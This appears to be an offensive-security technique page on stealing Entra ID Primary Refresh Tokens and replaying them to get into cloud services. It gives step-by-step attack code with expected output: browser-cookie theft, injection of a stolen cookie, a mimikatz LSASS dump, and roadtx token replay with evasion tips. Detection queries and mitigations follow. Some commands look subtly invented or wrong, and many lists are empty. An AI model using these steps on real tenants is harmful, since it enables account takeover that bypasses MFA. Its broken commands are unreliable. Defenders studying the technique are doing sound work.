| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-004 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Defense Evasion, Lateral Movement |
| Platforms | Entra ID (Cloud), Hybrid AD (Hybrid-Joined Devices), Windows 10/11 |
| Severity | Critical |
| CVE | N/A (Design feature, not a vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Windows 10 (1507+), Windows 11 (all), Server 2019+ (with Entra ID join) |
| Patched In | TPM 2.0 provides mitigation; not patched in older Windows versions |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Primary Refresh Token (PRT) is a special OAuth 2.0 refresh token issued by Entra ID when a user successfully authenticates to an Entra ID-joined or hybrid-joined Windows 10/11 device. The PRT is a powerful cryptographic artifact that allows seamless SSO (Single Sign-On) to cloud services and on-premises resources. Unlike regular refresh tokens that require password or MFA challenges, a stolen PRT can be used to obtain access tokens for any Entra ID resource (Microsoft Graph, SharePoint, Teams, Exchange) without the user’s knowledge. If the PRT is extracted from a device (especially if the device lacks TPM 2.0 or LSA Protection), an attacker gains long-term, multi-service access lasting up to 90 days (the default PRT validity period).
Attack Surface:
Business Impact: Complete bypass of MFA and persistent access to all cloud services. An attacker with an extracted PRT can:
Technical Context: PRT extraction can be done in seconds if device lacks TPM protection. Cloud-side detection is difficult because PRT-based auth appears identical to legitimate browser-based SSO. PRT has a 90-day validity; attackers must time usage carefully to avoid revocation events.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 18.1, 18.9 | Windows device security baseline; TPM and secure boot requirements. |
| DISA STIG | Windows_10-2.1, Windows_11-2.1 | Device-level authentication and encryption requirements. |
| CISA SCuBA | DEVICE-01 | Device hardening, TPM, secure boot. |
| NIST 800-53 | AC-7, IA-4, SI-4 | Unsuccessful login attempts, identifier management, information system monitoring. |
| GDPR | Art. 25, Art. 32 | Data protection by design, security of processing. |
| DORA | Art. 6 | Governance and organization, security measures for digital operational resilience. |
| NIS2 | Art. 21 | Cyber risk management measures, authentication in critical assets. |
| ISO 27001 | A.10.1.1, A.6.2 | Cryptographic controls, authentication and access control. |
| ISO 27005 | Risk: Unauthorized access via stolen tokens | Long-term persistence in cloud environment |
Supported Versions:
Tools:
Check if current device is Entra ID joined and if PRT is present:
# Check device join status
dsregcmd /status
# List cached tokens (including PRT reference)
cmdkey /list
# Check if device has TPM 2.0
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm | Select-Object SpecVersion
# Check Windows version (PRT support requires Windows 10 1507+)
[System.Environment]::OSVersion.Version
What to Look For:
Device State: YES and AzureAdJoined: YES indicates Entra ID joined device.Version Note:
Check what applications are registered and if PRT can be obtained:
# Connect to Microsoft Graph (requires sign-in)
Connect-MgGraph -Scopes "User.Read"
# Check current device info
Get-MgUserOwnedDevice | Select-Object Id, DisplayName, ObjectType
# List available cloud apps
Get-MgApplication | Select-Object DisplayName, AppId
What to Look For:
Supported Versions: Windows 10 (versions 1507-2004)
Objective: Determine which browser has the PRT cookie loaded.
Command:
# Check Edge browser PRT cookie
$edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Network"
$chromeProfilePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default"
# List browsers with network cookies
Get-ChildItem -Path $edgePath, $chromeProfilePath | Select-Object FullName, LastWriteTime
Expected Output:
FullName LastWriteTime
-------- --------
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default 1/9/2025 9:30 AM
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default 1/9/2025 9:25 AM
What This Means:
Objective: Read the PRT cookie from browser’s encrypted cookie store.
Command (Using Python with browser automation):
from selenium import webdriver
from selenium.webdriver.common.by import By
import json
# Open Edge browser (already logged in with PRT)
driver = webdriver.Edge()
driver.get("https://login.microsoftonline.com")
# Extract cookies (including PRT-related cookies)
cookies = driver.get_cookies()
for cookie in cookies:
if 'prt' in cookie['name'].lower() or 'refresh' in cookie['name'].lower():
print(f"Cookie: {cookie['name']} = {cookie['value'][:50]}...")
with open(f"prt_{cookie['name']}.txt", "w") as f:
f.write(cookie['value'])
Expected Output:
Cookie: x-ms-RefreshTokenCredential = eyJ0eXAiOiJKV1QiLCJhbGc...
What This Means:
x-ms-RefreshTokenCredential header contains the PRT-signed token.OpSec & Evasion:
Objective: Use the stolen PRT cookie to authenticate to cloud services.
Command (Using attacker’s browser):
// Inject PRT cookie into attacker's browser (JavaScript console)
// Assumes attacker is on attacker machine, not victim machine
// Set the extracted PRT cookie
document.cookie = "x-ms-RefreshTokenCredential=" + stolenPRTValue + "; path=/; domain=.microsoft.com; Secure; HttpOnly";
// Redirect to cloud app
window.location = "https://outlook.office365.com";
// Browser will automatically use PRT to authenticate
or
Using curl (Linux attacker machine):
curl -b "x-ms-RefreshTokenCredential=$STOLEN_PRT" \
-H "Authorization: Bearer $(echo $STOLEN_PRT | base64 -d)" \
-X GET "https://graph.microsoft.com/v1.0/me" \
--output user_info.json
Expected Output:
{
"id": "12345678-...",
"displayName": "Victim User",
"mail": "victim@domain.onmicrosoft.com"
}
What This Means:
References & Proofs:
Supported Versions: Windows 10 (20H2+), Windows 11 without TPM 2.0 enforcement
Objective: Dump LSASS process containing the PRT session key.
Command:
mimikatz.exe "privilege::debug" "sekurlsa::cloudapkd" "exit"
Expected Output:
mimikatz(powershell) # sekurlsa::cloudapkd
[00] 192.168.1.100 / 127.0.0.1 => [cloudapkd]
[00] Session Key Clear: ABC123DEF456...
[00] Session Key Derived: 789GHI012JKL...
What This Means:
OpSec & Evasion:
Objective: Use extracted session key to decrypt PRT from Windows memory.
Command (On compromised machine):
roadtx prt -a cloudapkd --prt-sessionkey <EXTRACTED_SESSION_KEY>
Expected Output:
[*] Saving PRT to roadtx.prt
What This Means:
Objective: Use extracted PRT on attacker’s Linux machine to authenticate.
Command (Attacker machine with roadtx installed):
# Load PRT from file
roadtx prt -a renew --prt roadtx.prt
# Use PRT to get tokens
roadtx gettokens -u <user@domain.com> --prt roadtx.prt
# Access cloud resources
roadtx aad --token <ACCESS_TOKEN> -a list-users
Expected Output:
[*] Successfully authenticated with PRT
[*] Entra ID users:
- admin@domain.onmicrosoft.com
- user@domain.onmicrosoft.com
What This Means:
References & Proofs:
Supported Versions: Windows 10/11 (hybrid-joined)
Objective: Capture PRT-related requests and responses during cloud authentication.
Command (Using Fiddler Classic or Burp Suite):
login.microsoftonline.comx-ms-RefreshTokenCredential header from responseExpected Output (in Fiddler):
Request to: login.microsoftonline.com
Response Header: x-ms-RefreshTokenCredential: eyJ0eXAiOiJKV1QiLCJhbGc...
What This Means:
OpSec & Evasion:
Command (Using roadtx for simulation):
# Create test device and obtain PRT
roadtx device -a register
# Request PRT with test credentials
roadtx prt -u testuser@domain.onmicrosoft.com -p "password"
# Use PRT to authenticate
roadtx gettokens --prt roadtx.prt -a msgraph
# Cleanup
rm roadtx.prt
roadtx device -a remove
Reference: While Atomic Red Team does not have an official PRT test, ROADtools provides examples.
Version: 0.3.0+ Minimum Version: 0.2.0 Supported Platforms: Linux, macOS, Windows (requires Python 3.8+)
Version-Specific Notes:
Installation:
git clone https://github.com/dirkjanm/ROADtools.git
cd ROADtools
pip install -r requirements.txt
python setup.py install
Usage (Extract & Use PRT):
# Step 1: Register device
roadtx device -a register
# Step 2: Request PRT
roadtx prt -u admin@domain.onmicrosoft.com -p "password"
# Step 3: Use PRT to get tokens
roadtx gettokens -a msgraph
# Step 4: Access Graph API
roadtx aad -a list-users --token <TOKEN>
Version: 2.2.0+ Supported Platforms: Windows
Usage (Extract session key):
mimikatz.exe "privilege::debug" "sekurlsa::cloudapkd" "exit"
Version: Latest (part of ROADtools) Supported Platforms: Windows
Usage (Request PRT from Windows):
requestaadrefreshtoken.exe
Rule Configuration:
KQL Query:
SigninLogs
| where AuthenticationDetails contains "PRT" or AuthenticationDetails contains "RefreshToken"
| where Location != "Unknown"
| where Location !in ("Expected Locations") // Define expected locations
| summarize AuthCount = count() by UserPrincipalName, Location, bin(TimeGenerated, 10m)
| where AuthCount > 10 // Suspicious number of auth attempts
| project TimeGenerated, UserPrincipalName, Location, AuthCount
What This Detects:
Manual Configuration Steps (Azure Portal):
Entra ID - Suspicious PRT AuthenticationHighKQL Query (detect suspicious LSASS access):
SecurityEvent
| where EventID == 10 // ProcessAccess
| where TargetImage contains "lsass.exe"
| where SourceImage in ("mimikatz.exe", "Rubeus.exe", "roadtx.exe")
| project TimeGenerated, SourceImage, TargetImage, GrantedAccess
What This Detects:
Event ID: 4624 with PRT claim
Manual Configuration Steps (Cloud-Side via Intune):
Monitor PRT AuthenticationPowerShell Query:
# Connect to Purview
Connect-IPPSSession
# Search for token-related activities
Search-UnifiedAuditLog -Operations "AppTokenCompromised", "TokenRefreshToken", "RefreshToken" -StartDate (Get-Date).AddDays(-30) | Export-Csv token_audit.csv
What This Finds:
Enforce TPM 2.0 and Device Encryption: Modern Windows versions (Windows 11) require TPM 2.0, which stores PRT keys in hardware.
Manual Steps (Group Policy):
gpupdate /force and restartManual Steps (Intune):
Require Conditional Access for Cloud Access: Force device compliance check before granting PRT.
Manual Steps (Entra ID):
Require Compliant Device for Cloud AccessImplement Continuous Access Evaluation (CAE): Revoke tokens in real-time if suspicious activity is detected.
Manual Steps (Entra ID):
Monitor Device Sign-In Activity: Alert on device sign-ins from unusual locations or at unusual times.
Manual Steps (Intune):
Disable Legacy Authentication: Block authentication methods that do not support modern security controls.
Manual Steps (Entra ID):
Block Legacy AuthenticationRequire Passwordless Sign-In for Sensitive Resources: Use Windows Hello, FIDO2, or phone sign-in instead of passwords.
Manual Steps (Entra ID):
Audit All PRT Issuance: Log every PRT request and track validity periods.
Manual Steps (Graph API query):
Get-MgAuditLogSignIn | Where-Object {$_.AuthenticationDetails -contains "PRT"} | Export-Csv prt_audit.csv
Device Invalidation on High-Risk Detection: Automatically require device re-registration if compromised.
Manual Steps (Intune - Remediation Action):
# Check if TPM 2.0 is enabled
Get-WmiObject -Namespace "root\cimv2\security\microsofttpm" -Class Win32_Tpm | Select-Object SpecVersion
# Check if BitLocker is enabled
manage-bde -status
# Check if device is compliant in Intune
dsregcmd /status | findstr "DeviceState"
# Check Conditional Access policies
az ad ca policy list --output table
Expected Output (If Secure):
SpecVersion: 2.0
Protection Status: Protection On (Device Encryption Enabled)
DeviceState: COMPLIANT
Policies: 3 Conditional Access policies active
What to Look For:
roadtx.prt file on attacker machine.pfx, .cer, or .pem certificate files (if device cert extracted)x-ms-RefreshTokenCredentialx-ms-RefreshTokenCredential in memoryRefreshTokenIssuedEvent, RefreshTokenCompromisedEvent# Revoke all tokens issued to device
Revoke-AzureADUserAllRefreshToken -ObjectId "<user-id>"
# Mark device as non-compliant (forces re-auth)
Set-IntuneDeviceCompliancePolicy -DeviceId "<device-id>" -ComplianceStatus NonCompliant
Manual (Azure Portal):
# Export sign-in logs
Get-MgAuditLogSignIn | Export-Csv signin_logs.csv
# Export device compliance status
Get-IntuneDeviceComplianceStatus | Export-Csv device_compliance.csv
# Reset user's MFA settings (force re-enrollment)
Reset-AzureADUserMFA -ObjectId "<user-id>"
# Invalidate all app passwords
Remove-AzureADUserAppPassword -ObjectId "<user-id>" -AppPasswordId "*"
Manual:
dsregcmd /leave then dsregcmd /join| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks user into OAuth consent flow |
| 2 | Privilege Escalation | [PE-TOKEN-012] PRT Primary Refresh Token | Attacker extracts PRT from device after obtaining local access |
| 3 | Current Step | [LM-AUTH-004] | Attacker uses stolen PRT to authenticate to cloud services |
| 4 | Lateral Movement | [LM-AUTH-005] Service Principal Key | Attacker leverages Graph API permissions to add service principal credentials |
| 5 | Persistence | [PE-ACCTMGMT-014] Global Admin Backdoor | Attacker creates backdoor admin account for long-term access |
| 6 | Impact | Data Exfiltration | Attacker accesses OneDrive, Teams, SharePoint as admin |